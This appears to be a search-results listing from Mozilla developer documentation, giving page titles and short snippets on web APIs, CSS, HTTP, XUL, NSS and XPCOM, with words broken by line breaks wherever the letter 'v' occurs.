Introduction to the Real-time Transport Protocol (RTP) - Web APIs
the real-time transport protocol (rtp), defined in rfc 3550, is an ietf standard protocol to enable real-time connecti
vity for exchanging data that needs real-time priority.
... this article pro
vides an over
view of what rtp is and how it functions in the context of webrtc.
...rtcp adds features including quality of ser
vice (qos) monitoring, participant information sharing, and the like.
...And 9 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
then, when drawing the scene, you can use the offset reference space to not only position objects relative to one another, but to apply the needed transforms to render objects properly based upon the
viewer's position.
... this is demonstrated in the example implementing rotation based on non-xr inputs, which demonstrates a way to use this method to let the user use their mouse to pitch and yaw their
viewing angle.
... teleporting or setting the position of the
viewer upon first creating a scene, you may need to set the user's position within the 3d world.
...And 9 more matches
XRSession.requestAnimationFrame() - Web APIs
the xrsession method requestanimationframe(), much like the window method of the same name, schedules a callback to be executed the next time the browser is ready to paint the session's
virtual en
vironment to the xr display.
... you can cancel a pre
viously scheduled animation by calling cancelanimationframe().
... note: despite the ob
vious similarities between these methods and the global requestanimationframe() function pro
vided by the window interface, you must not treat these as interchangeable.
...And 9 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
choose the method you find most helpful for the problems that you are sol
ving and the designs that you need to implement.
... my mark-up is a container with elements inside for a header, footer, main content, na
vigation, sidebar, and a block into which i am intending to place advertising.
... .wrapper { display: grid; grid-gap: 20px; grid-template-areas: "header" "nav" "content" "sidebar" "ad" "footer"; } after setting up a mobile layout we will get this single column at all screen sizes, we can now add a media query and redefine our layout for the circumstance of ha
ving enough screen real estate to show two columns.
...And 9 more matches
overflow - CSS: Cascading Style Sheets
the overflow css shorthand property sets the desired beha
vior for an element's overflow — i.e.
... constituent properties this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow:
visible; overflow: hidden; overflow: clip; overflow: scroll; overflow: auto; overflow: hidden
visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen from the list of values below.
... values
visible content is not clipped and may be rendered outside the padding box.
...And 9 more matches
HTML5 Parser - Developer guides
parsing is now done in a separate thread from firefox’s main ui thread, impro
ving overall browser responsiveness.
... the html5 specification pro
vides a more detailed description than pre
vious html standards of how to turn a stream of bytes into a dom tree.
... this will result in more consistent beha
vior across browser implementations.
...And 9 more matches
Using HTML sections and outlines - Developer guides
authors are ad
vised to use heading rank (h1-h6) to convey document structure.
...for example, <div class="na
vigation"> does not suggest any meaning about its content to a browser; only a human reading the html source can di
vine the meaning of a class like na
vigation.
... by contrast, the <nav> sectioning element more clearly describes to browsers and other de
vices the content contained: links or other na
vigational structures to help users move through and understand where they are in a site's or page's content.
...And 9 more matches
Writing forward-compatible websites - Developer guides
so appending a script that depends on non-strict-mode beha
vior to a strict-mode script will cause things to break.
...as browsers converge beha
vior, they both add features and remove them.
... for the purpose of this piece of ad
vice, "current" means the most recent version of a browser you have tested.
...And 9 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
images/
video frames drawn to a canvas using drawimage().
... functional over
view the cross-origin resource sharing standard works by adding new http headers that let servers describe which origins are permitted to read that information from a web browser.
... subsequent sections discuss scenarios, as well as pro
vide a breakdown of the http headers used.
...And 9 more matches
Using HTTP cookies - HTTP
cookies are mainly used for three purposes: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user beha
vior cookies were once used for general client-side storage.
... creating cookies after recei
ving an http request, a server can send one or more set-cookie headers with the response.
...a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all pre
viously stored cookies to the server using the cookie header.
...And 9 more matches
Array.prototype.find() - JavaScript
the find() method returns the value of the first element in the pro
vided array that satisfies the pro
vided testing function.
... if you need to find if any element satisfies the pro
vided testing function, use array.prototype.some().
... return value the value of the first element in the array that satisfies the pro
vided testing function.
...And 9 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
svgexternalresourcesrequired removed never implemented svgelement.
viewportelement and svgelement.ownersvgelement nullable implementation status unknown svgelement.getpresentationattribute() removed never implemented (prototype removed in bug 921456) svgcolor and svgicccolor removed never implemented svgelement.focus(), svgelement.blur() not implemented (bug 778654) svgelement.tabindex implemented (bug 778654) ...
...ed behind the preference svg.new-getbbox.enabled (bug 999964, bug 1019326) allow leading and trailing whitespace in <length>, <angle>, <number> and <integer> implementation status unknown form feed (u+000c) in whitespace implementation status unknown svgelement.xmlbase, svgelement.xmllang and svgelement.xmlspace removed implementation status unknown svg
viewspec removed implementation status unknown svgelement.style removed implementation status unknown svggraphicselement.gettransformtoelement() removed not removed yet svggraphicselement.getctm() on the outermost element implementation status unknown animval attribute alias of baseval implementation status unknown dataset attribute for svg...
...removed from <svg> implementation status unknown svgsvgelement.forceredraw() deprecated turned into a no-op (bug 733764) svgsvgelement.deselectall() deprecated not yet deprecated (bug 1302705) <switch> not affecting <style> implementation status unknown requiredfeatures attribute removed implementation status unknown svgsvgelement.current
view and svgsvgelement.usecurrent
view removed svgsvgelement.current
view was never implemented, svgsvgelement.usecurrent
view not removed yet (bug 1174097) svgunknownelement not implemented (bug 1239218) lang attribute without namespace implemented (bug 721920) svgsvgelement.
viewport removed never implemented xml:base attribute removed implementation ...
...And 9 more matches
Mixed content - Web security
when a user
visits a page served over https, their connection with the web server is encrypted with tls and is therefore safeguarded from most sniffers and man-in-the-middle attacks.
...pages like this are only partially encrypted, lea
ving the unencrypted content accessible to sniffers and man-in-the-middle attackers.
...the attacker could also infer information about the user's acti
vities by watching which images are served to the user; often images are only served on a specific page within a website.
...And 9 more matches
Classes and Inheritance - Archive of obsolete content
a class is a blueprint from which indi
vidual objects are created.
... these indi
vidual objects are the instances of the class.
...data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have beha
vior.
...And 8 more matches
url - Archive of obsolete content
globals constructors url(source, base) the url constructor creates an object that represents a url, verifying that the pro
vided string is a valid url in the process.
... dataurl(uri) the dataurl constructor creates an object that represents a data: url, verifying that the pro
vided string is a valid data: url in the process.
... gettld(url) returns the top-level domain for the given url: that is, the highest-level domain under which indi
vidual domains may be registered.
...And 8 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
strings the most ob
vious change required by frozen linkage is using the frozen string api.
...tring.setlength(4); the frozen string api doesn't support the iterator or const_iterator classes, but you can use pointers the same way: nsstring mystring = somestring; - nsstring::const_iterator begin, end;- mystring.beginreading(begin); mystring.endreading(end); + const prunichar *begin, *end;+ mystring.beginreading(&begin, &end); the frozen string api uses comparator functions instead of a
virtual comparator class.
... unicharutils has been modified to pro
vide a frozen-linkage comparator: nsstring mystring = somestring; - if (mystring.equals(otherstring, nscaseinsensitivestringcomparator())) + if (mystring.equals(otherstring, caseinsensitivecompare)) return ns_ok; // woot, we're equal in all things but case when using unicharutils from frozen-linkage code, link against the unicharutil_external_s static library.
...And 8 more matches
Adding menus and submenus - Archive of obsolete content
« pre
viousnext » the hello world example in the pre
vious sections shows the two most common ways to add menus.
...you should avoid ha
ving deep menus or too many options, since they are confusing for most users.
...the separator is usually displayed as a horizontal line that creates a logical di
vision between different types of menuitem elements, keeping everything more organized.
...And 8 more matches
Connecting to Remote Content - Archive of obsolete content
« pre
viousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server
via http.
...since eval executes any code contained in the string, workarounds had to be de
vised in order to close security holes.
... luckily, firefox now pro
vides a few alternatives for extension developers.
...And 8 more matches
MozOrientation - Archive of obsolete content
warning: this experimental api was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), when support for the standard de
viceorientationevent was implemented.
... an event that is repeatedly fired on the window as accelerator data is pro
vided to the browser.
...this value is 0 if the de
vice is level along the x axis, and approaches 1 as the de
vice is tilted toward the left, and -1 as the de
vice is tilted toward the right.
...And 8 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
« pre
viousnext » gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api.
...it works by pro
viding an object which implements the event handlers.
...note that you can only use these libraries from within xul loaded
via a chrome url.
...And 8 more matches
Editor Embedding Guide - Archive of obsolete content
the valid editor types are: "text" (similar to notepad or a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/beha
viors that differ such as splitting of mail quotes) editor commands you need to call commands and receive updates in order to make any changes to the content on the browser.
... getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters note this one is not
visually notable in the general case.
...it is
visually the same as italics.
...And 8 more matches
Menu - Archive of obsolete content
two namespaces are associated with this api: jetpack.menu, which pro
vides access to the browser's menus, and jetpack.menu, the constructor for making new menus.
... isshowing boolean true if the menu is currently
visible and false otherwise.
...if the menu is
visible, it will reflect the changes immediately.
...And 8 more matches
jspage - Archive of obsolete content
if(a.item){return"collection";}}}}return typeof a;}function $unlink(c){var b;switch($type(c)){case"object":b={};for(var e in c){b[e]=$unlink(c[e]); }break;case"hash":b=new hash(c);break;case"array":b=[];for(var d=0,a=c.length;d<a;d++){b[d]=$unlink(c[d]);}break;default:return c;}return b;}var browser=$merge({engine:{name:"unknown",version:0},platform:{name:(window.orientation!=undefined)?"ipod":(na
vigator.platform.match(/mac|win|linux/i)||["other"])[0].tolowercase()},features:{xpath:!!(document.evaluate),air:!!(window.runtime),query:!!(document.queryselector)},plugins:{},engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getelementsbyclassname)?950:925)); },trident:function(){return(!window.activexobject)?false:((window.xmlhttprequest)?((document.
...queryselectorall)?6:5):4);},webkit:function(){return(na
vigator.taintenabled)?false:((browser.features.xpath)?((browser.features.query)?525:420):419); },gecko:function(){return(!document.getboxobjectfor&&window.mozinnerscreenx==null)?false:((document.getelementsbyclassname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(var b in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=true; break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plug...
...ins.flash=(function(){var a=($try(function(){return na
vigator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],10)||0,build:parseint(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execscript){window.execscript(b);}else{var a=document.createelement("script");a.setattribute("type","text/javascript"); a[(browser.engine.webkit&&browser.engine.version<420)?"innertext":"text"]=b;document.head.appendchild(a);document.head.removechild(a);}return b;}native.uid=1; var $uid=(browser.engine.trident)?function(a){return(a.uid||(a.uid=[native.uid++]))[0];}:function(a){return a.uid||(a.uid=native.uid++);};var window=new native({name:"window...
...And 8 more matches
XPJS Components Proposal - Archive of obsolete content
xpconnect pro
vides the mechanisms for communication between native and js xpcom components, but it does not pro
vide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window.
... xpjs will pro
vide that infrastructure.
... the xpjs component system will support implementing xpcom ser
vices, factories, and components in javascript.
...And 8 more matches
RDF Modifications - Archive of obsolete content
« pre
viousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or remo
ving result output as needed.
...when this happens, any templates obser
ving the datasource will be notified
via the rdf observer's onassert method.
...this is useful when making a large amount of changes to avoid ha
ving to keep recalculating parts of the template that might change again quickly.
...And 8 more matches
List Controls - Archive of obsolete content
« pre
viousnext » xul has a number of types of elements for creating list boxes.
...xul pro
vides two types of elements to create lists, a listbox element to create multi-row list boxes, and a menulist element to create drop-down list boxes.
...example 1 : source
view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute.
...And 8 more matches
XBL Example - Archive of obsolete content
« pre
viousnext » this section will describe an example xbl element.
...na
vigation buttons along the bottom will allow the user to cycle through the objects while a text widget between the buttons will display the current page.
...along the bottom, we'll need a button to go the pre
vious page, a label to display the current page number, and a button to go to the next page.
...And 8 more matches
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.builds - october 21st to october 27th 2006 fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt october 22nd: ga
vin sharp answered a question that was posted by tony mechelynck.
... ga
vin responded to tony's posting saying that the log file shows a "no space left on de
vice" error when trying to link the final executable.
... on the same day tony replied to ga
vin's posting stating the possible choices to solve the problem.
...And 8 more matches
Monitoring plugins - Archive of obsolete content
this component then reports the plugin runtime using the observer ser
vice to anyone registered to receive the notifications.
... usage to make use of the new component you must register to receive its runtime notifications using the observer ser
vice.
...if you are new to the mozilla observer ser
vice, you may want to familiarize yourself with it before proceeding further.
...And 8 more matches
Adobe Flash - Archive of obsolete content
in particular, the macromedia® flash™ plugin exposes certain plugin functionality for access
via javascript.
...<script type="text/javascript">identifyflash();</script> typically, javascript code that determines what version of the plugin is installed looks at the mimetypes array that is part of the na
vigator object.
...an algorithmic approach to detecting flash plugin version might be: var plugin = na
vigator.mimetypes["application/x-shockwave-flash"].enabledplugin; var description = plugin.description; // 1.
...And 8 more matches
Theme changes in Firefox 4 - Archive of obsolete content
omni.jar firefox 4 achieves performance improvements by mo
ving many of its internal parts from being standalone files or sets of jar files into just one jar file; this reduces the amount of i/o needed to load firefox.
... note: when extracting omni.jar, you may incorrectly get false warnings from some
virus protection software.
... the iconsize attribute of the toolbox element in the main browser window (#na
vigator-toolbox) still reflects the user preference in the toolbar customization palette.
...And 8 more matches
Old Proxy API - Archive of obsolete content
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...it is pro
vided as an experimental feature.
...proxies let the programmer define most of the beha
vior of an object in javascript.
...And 8 more matches
Game promotion - Game development
there are many ways to promote your game — most of them being free, so even if you're struggling to make a li
ving as an indie dev with zero budget you can still do a lot to let people know about your great new game.
... you should also blog about everything related to your gamedev acti
vities.
... manakeep is a website builder made for indie game developers and pro
vides a great starting point to create your website.
...And 8 more matches
Move the ball - Game development
« pre
viousnext » this is the 2nd step out of 10 of the gamedev canvas tutorial.
... you already know how to draw a ball from working through the pre
vious article, so now let's make it move.
... technically, we will be painting the ball on the screen, clearing it and then painting it again in a slightly different position every frame to make the impression of movement — just like how movement works with the mo
vies.
...And 8 more matches
Images, media, and form elements - Learn web development
pre
vious over
view: building blocks next in this lesson we will take a look at how certain special elements are treated in css.
... replaced elements images and
video are described as replaced elements.
... certain replaced elements, such as images and
video, are also described as ha
ving an aspect ratio.
...And 8 more matches
What do common web layouts contain? - Learn web development
even now with the new focus on mobile web, almost all mainstream webpages are built from these parts: header
visible at the top of every page on the site.
... contains information relevant to all pages (like site name or logo) and an easy-to-use na
vigation system.
... stuff on the side 1) information complementing the main content; 2) information shared among a subset of pages; 3) alternative na
vigation system.
...And 8 more matches
Basic native form controls - Learn web development
pre
vious over
view: forms next in the pre
vious article, we marked up a functional web form example, introducing some form controls and common structural elements, and focusing on accessibility best practices.
... all basic text controls share some common beha
viors: they can be marked as readonly (the user cannot modify the input value but it is still sent with the rest of the form data) or disabled (the input value can't be modified and is never sent with the rest of the form data).
...the best way to protect users from this is to host any pages invol
ving forms over a secure connection (i.e.
...And 8 more matches
Sending form data - Learn web development
pre
vious over
view: forms once the form data has been validated on the client-side, it is okay to submit the form.
... and, since we covered validation in the pre
vious article, we're ready to submit!
...this enables the user to pro
vide information to be delivered in the http request.
...And 8 more matches
Your first form - Learn web development
over
view: forms next the first article in our series pro
vides you with your very first experience of creating a web form, including designing a simple form, implementing it using the right html form controls and other html elements, adding some very simple styling
via css, and describing how data is sent to a server.
...from a user experience (ux) point of
view, it's important to remember that the bigger your form, the more you risk frustrating people and losing users.
... uxmatters is also a very thoughtful resource with good ad
vice from basic best practices to complex concerns such as multi-page forms.
...And 8 more matches
Add a hitmap on top of an image - Learn web development
formerly, image maps were a popular na
vigation de
vice, but it’s important to thoroughly consider their performance and accessibility ramifications.
... text links (perhaps styled with css) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more seo-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation ser
vices).
... hotspots must be large enough to tap comfortably, at any
viewport size.
...And 8 more matches
Client-side web APIs - Learn web development
apis are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or ser
vices.
... get started prerequisites to get the most out of this module, you should have worked your way through the pre
vious javascript modules in the series (first steps, building blocks, and javascript objects).
... note: if you are working on a de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 8 more matches
Componentizing our React app - Learn web development
pre
vious over
view: client-side javascript frameworks next at this point, our app is a monolith.
... defining our first component defining a component can seem tricky until you have some practice, but the gist is: if it represents an ob
vious "chunk" of your app, it's probably a component if it gets reused often, it's probably a component.
... this: export default function todo() { return ( <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="
visually-hidden">eat</span> </button> <button type="button" classname="btn btn__danger"> delete <span classname="
visually-hidden">eat</span> </button> </div> </li> ); } note: components must always return something.
...And 8 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize re
views if you are changing css: avoid !important but if you have to use it, make sure it's ob
vious why you're using it (ideally with a comment).
...it is good to pri
vilege expanded syntax to make your intentions explicit.
...this makes it more ob
vious that the padding is symmetrical (so rtl won't be an issue).
...And 8 more matches
DownloadList
a downloadlist object represents a collection of download objects that can be
viewed and managed by the user interface, and persisted across sessions.
...method over
view promise<array<download>> getall(); promise add(download adownload); promise remove(download adownload); promise add
view(object a
view); promise remove
view(object a
view); void removefinished([optional] function afilterfn); methods getall() retrieves a snapshot of the downloads that are currently in the list.
...to receive change notifications for downloads that are added to the list, use the add
view() method to register for ondownloadchanged notifications.
...And 8 more matches
Following the Android Toasts Tutorial from a JNI Perspective
toast description a toast pro
vides simple feedback about an operation in a small popup.
... it only fills the amount of space required for the message, and the current acti
vity remains
visible and interactive.
... for example, na
vigating away from an email before you send it triggers a "draft saved" toast to let you know that you can continue editing later.
...And 8 more matches
PopupNotifications.jsm
the popupnotifications.jsm javascript code module pro
vides a popup notification box ser
vice.
... this ser
vice is used, for example, to display geolocation related notifications.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/popupnotifications.jsm"); once you've imported the module, you can then use the popupnotifications object it exports; this object pro
vides methods for creating and displaying popup notification panels.
...And 8 more matches
Localizing with Mozilla Translator
like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from pre
vious translations, thus cutting time and effort when localizing new versions of mozilla applications.
...you can save your work in progress and reopen it to continue working by selecting
view fuzzy from the edit menu.
... after translating those strings (if using the edit phrase dialog, you can get translation suggestions for strings ha
ving an original text equal to existing translations), you can run some automated tests to detect typical errors.
...And 8 more matches
Initial setup
as a pre-requisite to contributing to the l10n program, you need to have access to code, tools, and a properly configured local en
vironment (i.e., your personal computer).
... hg (mercurial) mercurial is the re
vision control en
vironment that houses the main mozilla source code as well as localized code for each official mozilla localization.
...at that point, you must
visit the mozilla committer page and follow the process outlined there.
...And 8 more matches
SVN for Localizers
brief intro to svn svn (abbre
viation for subversion) is a free and open source repository tool we use to manage the localized mozilla web pages.
... installing svn client: linux users can download the svn client from http://subversion.apache.org/packages.html or install packages pro
vided within their distribution (for example, in debian, sudo apt-get install subversion).
... note: if you do not already have access to svn,
visit this wiki page on how to get set up with an svn account before proceeding.
...And 8 more matches
A brief guide to Mozilla preferences
it pro
vides a general over
view of mozilla preferences, including where preferences are stored, a file-by-file analysis of preference loading sequence, and information on editing preferences.
... a preference is any value or defined beha
vior that can be set (presumably, one setting is preferable to another).
... preference changes
via user interface usually take effect immediately.
...And 8 more matches
Getting Started With NSS
how to get involved with nss network security ser
vices (nss) is a base library for cryptographic algorithms and secure network protocols used by mozilla software.
... a general over
view of the applications that use nss and the features it pro
vides.
... a new set of samples is currently under development and re
view, see create new nss samples.
...And 8 more matches
EncDecMAC using token object - sample 3
rcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem i
vitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &i
vitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (s...
...cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using pre
viously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "encrypt failure\n"); goto cleanup; } /* save the last block of ciphertext as t...
...; } return null; } } key = pk11_findfixedkey(slot, mechanism, keybuf, 0); if (!key) { pr_fprintf(pr_stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return null; } return key; } /* * decrypt and verify mac */ secstatus decryptandverifymac(const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *i
vitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber...
...And 8 more matches
NSS functions
section headings are links to the indi
vidual pages where you can edit them.
... ssl functions the public functions listed here are used to configure sockets for communication
via the ssl and tls protocols.
...the mozilla cross reference (mxr) link for each function pro
vides access to the function definition, prototype definition, and source code references.
...And 8 more matches
gtstd.html
upgraded documentation may be found in the current nss reference getting started with ssl chapter 2 getting started with ssl this chapter describes how to set up your en
vironment, including certificate and key databases.
... ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationships among the nss libraries are described in introduction to network security ser
vices.
... a pkcs #11 module (also called a cryptographic module) manages cryptographic ser
vices such as encryption and decryption
via the pkcs #11 interface.
...And 8 more matches
sslerr.html
ssl_error_bad_certificate -12284 "unable to communicate securely with peer: peers's certificate was rejected." a certificate was received from the remote system and was passed to the certificate authentication callback function pro
vided by the local application.
...possible causes include: (a) both ssl2 and ssl3 are disabled, (b) all the indi
vidual ssl cipher suites are disabled, or (c) the socket is configured to handshake as a server, but the certificate associated with that socket is inappropriate for the key exchange algorithm selected.
... ssl_error_rx_record_too_long -12263 "ssl received a record that exceeded the maximum permissible length." this generally indicates that the remote peer system has a flawed implementation of ssl, and is
violating the ssl specification.
...And 8 more matches
SpiderMonkey 1.8.5
on other platforms, the jit is simply disabled; javascript code runs in an interpreter, as in pre
vious versions.
... spidermonkey 1.8.5 is not binary-compatible with pre
vious releases, nor is it source-code compatible.
... pre
vious versions of spidermonkey supported two types of native functions: jsnative and jsfastnative.
...And 8 more matches
Secure Development Guidelines
the following content will likely see significant re
vision, though can be used as a reference for security best practices to follow when developing code for mozilla.
... introduction pro
vide developers with information on specific security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise ...
...ithout knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input doesn’t have to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scripting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site
victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking...
...And 8 more matches
Places
it also includes new features including fa
vicon storage and the ability to annotate pages with arbitrary information.
... using the places tagging ser
vice how to use the tagging ser
vice.
... using the places history ser
vice how to access history information using the places api.
...And 8 more matches
How to build an XPCOM component in JavaScript
you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcom
viewer, a gui for browsing registered interfaces and components.
... you can download an old version of xpcom
viewer that works with firefox 1.5 from mozdev mirrors.
... note: the mac version of the sdk pro
vided for download is powerpc-only.
...And 8 more matches
Packaging WebLock
« pre
viousnext » in this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems.
... the first section, component installation over
view, describes the general installation process in mozilla.
... component installation over
view xpinstall is a set of javascript apis for creating installation scripts.
...And 8 more matches
Components object
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... warning: this object is only intended for code running with chrome pri
vileges.
...some properties of components require advanced pri
vileges and may not work in web pages.
...And 8 more matches
mozIPlacesAutoComplete
toolkit/components/places/public/moziplacesautocomplete.idlscriptable this interface pro
vides some constants used by the places autocomplete search pro
vider as well as methods to track opened pages for autocomplete purposes.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void registeropenpage(in nsiuri auri); void unregisteropenpage(in nsiuri auri); constants constant value description match_anywhere 0 match anywhere in each searchable term.
... beha
vior_history 1 << 0 search through history.
...And 8 more matches
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring
violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiu...
...calls to this may trigger
violation reports when queried, so this value should not be cached.
...calls to this may trigger
violation reports when queried, so this value should not be cached.
...And 8 more matches
nsIDOMWindowInternal
it pro
vides many of the common functions used in javascript such as alert() or open().
... method over
view firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in pre
vious versions, all parameters were required.
... na
vigator nsidomna
vigator readonly: returns a reference to the na
vigator object.
...And 8 more matches
nsISHistoryListener
docshell/shistory/public/nsishistorylistener.idlscriptable an interface you can implement to receive notifications about acti
vities that occur in session history, and optionally cancel them.
...a session history listener can be registered on a particular nsishistory instance
via the nsishistory.addshistorylistener() method.
... method over
view boolean onhistorygoback(in nsiuri abackuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(in long aindex, in nsiuri agotouri); void onhistorynewentry(in nsiuri anewuri); boolean onhistorypurge(in long anumentries); boolean onhistoryreload(in nsiuri areloaduri, in unsigned long areloadflags); methods onhistorygoback() called when na
vigating to a pre
vious session history entry, for example due to an nsiwebna
vigation.goback() call.
...And 8 more matches
nsIWindowMediator
implemented by: @mozilla.org/appshell/window-mediator;1 as a ser
vice: var windowmediator = components.classes["@mozilla.org/appshell/window-mediator;1"] .getser
vice(components.interfaces.nsiwindowmediator); method over
view void addlistener(in nsiwindowmediatorlistener alistener); boolean calculatezposition(in nsixulwindow inwindow, in unsigned long inposition, in nsiwidget inbelow, out unsigned long outposition, out nsi...
... if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { domwindow.gbrowser.tabcontainer.addeventlistener('tabselect', function () { domwindow.alert('tab was selected') }, false); } }, false); }, onclosewindow: function (awindow) {}, onwindowtitlechange: function (awindow, atitle) {} }; //to register ser
vices.wm.addlistener(windowlistener); //ser
vices.wm.removelistener(windowlistener); //once you want to remove this listener execute removelistener, currently its commented out so you can copy paste this code in scratchpad and see it work native code only!calculatezposition a window wants to be moved in z-order.
...note this method is ad
visory only: it changes nothing either in windowmediator's internal state or with the window.
...And 8 more matches
Performance
see the sqlite optimizer over
view on the sqlite web site for information on how sqlite uses indices and executes statements.
...a command that will give you a higher level over
view is "explain query plan".
... for example sqlite> explain query plan select * from moz_history
visit v join moz_history h on v.page_id = h.id where v.
visit_date > 1000000000; 0|0|table moz_history
visit as v with index moz_history
visit_dateindex 1|1|table moz_history as h using primary key this tells us that it will first look up in moz_history
